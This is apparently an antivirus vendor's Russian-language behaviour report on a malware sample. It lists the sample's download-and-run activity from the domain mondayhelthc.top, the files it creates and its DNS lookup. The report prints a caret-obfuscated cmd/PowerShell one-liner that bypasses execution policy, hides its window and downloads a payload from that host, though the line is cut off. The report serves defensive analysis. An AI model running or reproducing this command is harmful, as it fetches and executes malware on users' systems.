Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^ERSh^e^l^L.^E^x^E -E^X^ecUtIOnp^oLI^c^y By^pa^sS^ ^-N^OP^r^o^f^IL^E^ -wiND^O^WStyle ^hID^De^n (^New-obj^Ect sy^s^TE^m.^nET^.^weBCl^iE^N^t^).dO^wNLO^AD^fil^e('http://mond...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^ERSh^e^l^L.^E^x^E -E^X^ecUtIOnp^oLI^c^y By^pa^sS^ ^-N^OP^r^o^f^IL^E^ -wiND^O^WStyle ^hID^De^n (^New-obj^Ect sy^s^TE^m.^nET^.^weBCl^iE^N^t^).dO^wNLO^AD^fil^e('http://mond... (со скрытым окном)
